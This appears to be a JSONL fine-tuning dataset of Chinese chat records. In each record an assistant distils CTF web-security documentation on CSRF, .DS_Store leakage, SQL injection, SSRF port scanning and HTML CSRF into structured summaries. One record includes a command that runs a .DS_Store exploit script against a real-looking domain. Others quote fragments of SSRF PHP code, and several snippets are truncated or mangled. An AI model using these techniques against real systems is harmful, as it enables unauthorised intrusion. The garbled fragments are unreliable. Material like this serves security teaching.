可以实现在其不知情的情况下转移用户资金、发送邮件等操作；\n- 但是如果受害者是一个具有管理员权限的用户时 CSRF 则可能威胁到整个 WEB 系统的安全。\n\n关键术语：\n- 漏洞利用\n- web\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 204, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "CSRF 跨站请求伪造", "heading_path": ["Web 简介", "CSRF 跨站请求伪造"], "original_id": "docs-af1388d6897848b74244", "original_line": 1589, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "source_root": "docs", "source_sha256": "d72332ca22133d3da8dcb78632850a7f3f6343c7a8e8015ade8fe5824e3bfc60", "split": "train", "split_group_key": "029a4b7dbef3a3de0d6af304", "subcategory": "web/introduction.md", "terms": ["漏洞利用", "web", "introduction.md"], "title": "Web 简介"}, "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-d49c2fe400cc1a624d6f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「.DS_Store 文件泄露」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 寻找源代码备份 > .DS_Store 文件泄露\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“.DS_Store 文件泄露”展开。\n- Mac OS 中会包含有 .DS_Store 文件，包含文件名等信息。\n\n关键术语：\n- 漏洞利用\n- web\n- php\n- php.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 72 行，首行 `python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 1621, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": ".DS_Store 文件泄露", "heading_path": ["PHP 代码审计", "寻找源代码备份", ".DS_Store 文件泄露"], "original_id": "docs-4236af21689211886444", "original_line": 1640, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "991aed79382f25d21d57119a", "subcategory": "web/php/php.md", "terms": ["漏洞利用", "web", "php", "php.md", "code:shell"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-d4ebb5d3c198a84be3a7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/sqli.md` 中的章节「参考资料」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/sqli.md`\n标题：SQL 注入\n章节：SQL 注入 > 参考资料\n路径分类：web / web/sqli.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考资料”展开。\n- SQL 注入速查表 - MySQL 注入技巧 - MySQL 注入科普 - MySQL 注入总结 - 《SQL 注入攻击与防御》\n\n关键术语：\n- SQL注入\n- ROP/JOP\n- 漏洞利用\n- web\n- sqli.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 302, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "参考资料", "heading_path": ["SQL 注入", "参考资料"], "original_id": "docs-844da58f045c57cebadb", "original_line": 1609, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "source_root": "docs", "source_sha256": "be5dea4bf82befe236d2262765c505cd19fb2f226f80a3590006ab5a9c973372", "split": "train", "split_group_key": "fc5b61e7ae7d23fbef345bab", "subcategory": "web/sqli.md", "terms": ["SQL注入", "ROP/JOP", "漏洞利用", "web", "sqli.md"], "title": "SQL 注入"}, "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-d6a2a6361c3331a986fd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/ssrf.md` 中的章节「利用 SSRF 进行端口扫描」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/ssrf.md`\n标题：SSRF\n章节：SSRF > 利用 SSRF 进行端口扫描\n路径分类：web / web/ssrf.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用 SSRF 进行端口扫描”展开。\n- > `` 腾讯某处 SSRF 漏洞（非常好的利用点）附利用脚本\n- 或可利用 302 跳转绕过 HTTP 协议的限制。\n- > ` 构造一个前端页面 `html   
   
    ` 请求非 HTTP 的端口可以返回 banner 信息。\n- php if (isset($_POST['url'])) { $link = $_POST['url'];\n- curl_setopt($curlobj, CURLOPT_FILE, $fp);\n\n关键术语：\n- SSRF\n- 漏洞利用\n- web\n- ssrf.md\n- code:php\n- code:html\n\n代码/命令片段线索：\n- php: 17 行，首行 ``\n- php: 7 行，首行 ` CSRF 类型 > HTML CSRF\n路径分类：web / web/csrf.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“HTML CSRF”展开。\n- 利用 HTML 元素发出 CSRF 请求，这是最常见的 CSRF 攻击。\n- HTML 中能设置 src/href 等链接地址的标签都可以发起一个 GET 请求，如： ``html